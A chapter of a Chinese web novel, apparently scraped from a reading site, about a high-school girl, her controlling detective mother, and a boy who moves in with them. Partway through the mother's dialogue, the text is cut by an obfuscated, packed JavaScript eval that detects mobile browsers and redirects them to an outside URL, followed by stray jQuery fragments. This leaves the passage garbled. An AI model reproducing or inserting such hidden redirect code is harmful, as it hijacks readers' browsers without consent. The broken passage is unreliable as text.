默认冷灰
24号文字
方正启体

4. 04

作者:周在川本书字数:K更新时间:
    终于如释重负回到学校。


    这个周末,林沚跟着母亲温韫女士搬进了位于培萃中学附近的出租房内。楼梯房,里面的装潢看上去稍显年代久远,但胜在干净。


    看房那天,房东说,三室一厅只剩下顶层七楼的那一套了。温韫站在阳台,一眼可以看见江对岸的麓山。麓山脚下是个大学城,有两所985院校和一所师范类的211院校。这个位置,温韫很满意,站得高,看得远,还能望见“金榜题名之处”,所以她立即就答应了下来:“定这里了!”


    这倒是林沚第一次爬七楼。行李很重,林沚搬完最后一箱的时候,已经累得上气不接下气,她很快就“瘫倒”在了沙发上。


    外面的暑气钻过门缝偷偷溜了进来,掠过了林沚随意耷拉在沙发上的手臂。林沚下意识将手机放在一边,阖上了眼睛,假寐。


    “嚯,今年这秋老虎怕是有点厉害。”温韫从冰箱里拿出了刚顺手买上来的冰西瓜,她坐在林沚旁边,推了推林沚。见她睁眼后,给她递了一块西瓜过去,“晚饭你自己解决啊,我一会要回局里面加班。”


    母亲温韫是一名刑警,常年加班不在家。林沚习惯了这种一个人的日子,只是“哦”了一声。


    “对了,这段时间忙,还没问问你,最近上学的感觉怎么样?”温韫边说边将女儿垂在一旁的发丝往她耳后别,“我们虽是中考状元,但你也不要太有压力了。妈妈不奢求你考什么清华北大。当然啦,你要是想试试,妈妈也全力支持。”


    林沚不知道要说些什么,她只是自顾自地咽下了一大口西瓜,她在给自己找着理由,这一口瓜太大了,不方便说话。


    可温韫似乎也没给她回话的机会,她接着说:“以你的成绩,以后进国企什么的应该是不成问题的。公安院校啦,交通铁路类的学校啦,都可以。不过妈妈还是想让你考警校。现在工作难找,这些院校的机会于你而言不是难题,毕竟我们是中考状元,可别浪费了这个脑子。”


    从成绩出来一直到现在,温韫说是说自己并不在意她这个中考状元的名号,但她总是会在一些话里提起,林沚觉得,她并非不在意。


    最后一块西瓜就要吃完了,这下,似乎是不得不要回话了。


    “我说的这些你都听着,以后,你会感谢妈妈的。”温韫依旧没给她说话的机会,“这条不会出岔子的路,妈妈早就为你想好了,你也不用担心什么抉择的问题,跟着我的规划走,就行。”


    母亲总是这样,喜欢计划和帮她抉择与她有关的一切。


    小时候,她喜欢随意画画,因而温韫以为,她特别爱美术,所以将她送进了美术班。的确,她一开始是很爱画画的,简笔画,彩铅画,跟着老师在石头上、需要装饰的白墙上画画,她很喜欢这种随意创作的感觉。然而,就当她被送入到另外一个老师手中开始学习素描,她也就不能画那些让她开心的东西了。整日坐在石膏几何前,枯燥的很,她很快就对画画失去了兴致。她对画画这件事谈不上喜欢与否,只是觉得从前这事能让她开心,后来这事让她只感到心烦焦虑。


    她退出了美术班。那日,温韫举着伞,带着她在烈日炎炎的燥热天气中等出租车,温韫说:“也不知道你为什么不喜欢了,半途而废了起来。”


    要如何和母亲说那些自己想了一大堆的、就快要缠绕成一团毛线的话呢?


    林沚想了半天,最后在出租车到达前开口交代了实话。温韫一听,将手中的伞一收,“你这是逃避。别的孩子坐的好好的,画那些立体几何,怎么你就不行?是觉得枯燥了?遇到困难了?还是说坐不住了?你这是逃避,懂不懂啊?画几何有助于你的空间思维,对你以后是很有帮助的!老师们都夸你有天赋,你这样,是自己放弃了自己!”


    林沚依旧不知道要说些什么,她还在想,是不是自己刚刚的表述有误。该怎么和妈妈讲,对一件事情感到快乐,仅仅是喜欢快乐的那种感觉而已,可能不是喜欢那个事情本身呢?


    后来的某一天,温韫拉上林沚去了一家乐器行。温韫带着她在乐器面前逛了很久,说:“妈妈原以为你会画画到底,想着你以后靠美术来升学也是一个不错的选择,可惜你不愿意。就算不是为了升学,我们还要有一技之长的。学个乐器,如何?”


    慢慢走慢慢走,听着母亲的话,林沚最后停在了一架钢琴前,“妈妈,钢琴怎么样?”


    温韫说:“钢琴很难的,比画画还枯燥。妈妈想好了,妈妈学过琵琶,你学琵琶怎么样?妈妈陪你一起学。等你学习累了,自己弹上一曲,多好?妈妈迫不及待想听你弹曲子了!”


    她看见温韫眼睛里闪烁着的光芒,那一刻,她顿时意识到,她不能败了温韫的兴致。自己学这个,好像能让妈妈开心。妈妈工作这么累,这么辛苦,自己理应让她高兴。于是,她点点头,但没说一声“好”。


    温韫笑了笑,将她带到琵琶前,带着她认真挑选了起来。报课,上课,行云流水。


    但到了初二快要生地会考的时候,她也便没学乐器了。她不是真的喜欢,所以学习起来很费劲,也不愿在空闲时间里去练习。她庆幸着课业变多,不再有时间去上那些课。最后,她以学习繁忙为由,停下了乐器学习。她考了级,可她也不在意。不是自己真正爱着的,不会放在心上。尽管,温韫说了好几次可惜:“都到这了,你又中途放弃,我还不知道你,什么课业繁忙,你就是为不想学找借口。你不是为了我在学,我让你学这些,都是为了你好。”


    “我一开始……是觉得,我要是学了的话,你会高兴,所以我……”她在无形之中肯定了“借口”。


    “用不着!”温韫生气,“你好在没学钢琴!”


    “那我喜欢,我就会坚持下去呀。”


    “别,你这半途而废的样子,我知道。一开始答应的好好的,到最后,是什么样就是什么样……”


    她很爱妈妈,也不讨厌妈妈,她和妈妈也有过那些开心快乐时刻,却也不妨她在想起这些事情时,不可避免地坠入进母女关系的漩涡。她就这样,一次又一次地涉足在被爱与误解中,渐渐有了那些名为“小时候”的记忆。


    时至今日,她只记得最开始的那天,她的视线在身后的那架钢琴上停留了很久,以至于到现在,她还记得那架钢琴长什么样。但她也不清楚,自己当时的那些想法究竟是错还是对,她只是感觉,自己总是在无意之中,放掉了那些能够自己做决定的机会,又或者,她到现在的人生里,都还没有过一次完完整整的自己决定事情的时机。因而也谈不上所谓的“放掉”。


    “想什么呢?一直在发呆。”林沚正好拿着碗到厨房里去的时候,温韫抢先一步将她手中的碗拿走了,“我刚刚说的,你都听进去了没有?”


    汗珠沁在她的手心,脖子上也滚落了一滴汗。不知道是不是那些回忆的原因,让她短暂地从此时此刻中抽离,也觉得周遭热了些许。


    “有点热。”林沚说,“没事。碗我来洗吧。”她说着便趿拉着拖鞋跑向厨房。


    晚到一步,温韫先打开了水龙头,水槽那传来了“哗哗”的水声。温韫说:“算了,你好好休息吧!刚刚和你讲的事情,你好好想想。其实也不急,你才高一。不过呢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265070|198077||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,要是早想一下,也是好的。”


    话音落下,水声也停了。


    “我走了,去局里了,你自己在家注意安全。”


    “好。”她有点庆幸妈妈要去加班,毕竟,她想自己一个人待一会,给大脑里那些紊乱无比的思绪做一个整理。


    很快,“砰”的一声,门关上了。


    家里变得安静,林沚在从窗户缝隙里溜进来的风中,感觉到了一丝灼热。她的皮肤真真切切地感受到了那阵温度,因而,她也注意到了自己的呼吸。心里的那种感觉,她说不上来,只是总觉得不是滋味。


    眼下似乎也没有什么别的事情要做,林沚准备回房间写半张卷子,或者是睡一觉。


    就在准备回去的时候,门铃响了。她停下脚步,看向门口,“忘带钥匙啦?”


    门外并没有传来声音。


    林沚“嗯?”了一下,走到门口,往猫眼里一看。


    怎么是陈序舟?她看见他带着耳机,正在低头看着手机。


    难怪,估计是耳机里的歌放得太大声了,他没听见她那声“嚷嚷”。


    林沚手搭上门把手,准备开门。


    他来做什么?林沚实在是想不到。


    “咔嚓——”一声,门缓缓打开。


    楼道里老旧的感应灯一闪一闪,最后又亮了起来。天色不知道在什么时候暗了下来,视线中只剩下了那昏黄的光线,落在他的肩上。


    他摘下了有线耳机,放在手心,而后看向她,说:“听说你有道题不会做,让我来帮忙看看。”


    林沚这时候才发现,他是带着行李箱过来的。


    要住进来就住进来呗,非要找个借口是什么意思。


    她面露不明所以,看向他:“你说什么?”


    陈序舟说:“我说的是中文呀,不难理解吧?”


    “行。我没有要问的题目,你请回吧。”林沚瞥了一眼他的行李,“顺道带着你的全部东西一起,不送。”


    两个多月前,是你自己说要走的,现在为什么还要回来?你的决心就是如此吗?


    林沚本没有要关门的意思,但陈序舟还是下意识地用手抵住了门框:“你就这么不欢迎我?”


    “你这突然造访,还说什么我有问题需要你解决。满口谎话,我很难清楚你的意图究竟是什么。”


    “温阿姨没有告诉你,接下来的这三年,我将和你住在一个屋檐下的事情吗?”


    楼道里的灯忽然暗了下来,光突然消失,连同着将她原本想要说出口的话一起带了下去。


    黑暗中,陈序舟闷闷地“呵”笑了一声:“怎么不说话了?”


    于是,楼道里的灯又亮了起来。


    林沚下意识地后退了一小步。


    见状,陈序舟直接跨进了家门。


    林沚只好再退一步。


    “看你这样子,压根就不知道我要过来。”紧接着,陈序舟整个身子便进来了,他带着自己的行李,顺手把门带上,“我爸还说你有问题要问,很急,让我赶紧过来找你。”


    “你到底想说什么?”林沚说,“照你这意思,你原本是不想来的?”


    陈序舟身后就是墙。林沚说话时往前走了一点,惹得陈序舟只能后退一步。


    这一退,他直接就靠在了身后墙壁上的开关上。


    “啪嗒——”


    灯关了。


    窗外是傍晚,此时此刻,视线中不算太亮。


    他也没说他到底想不想来,倒是说了一句“来都来了”。


    林沚退后一步,朝他冷笑一声:“没意思。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)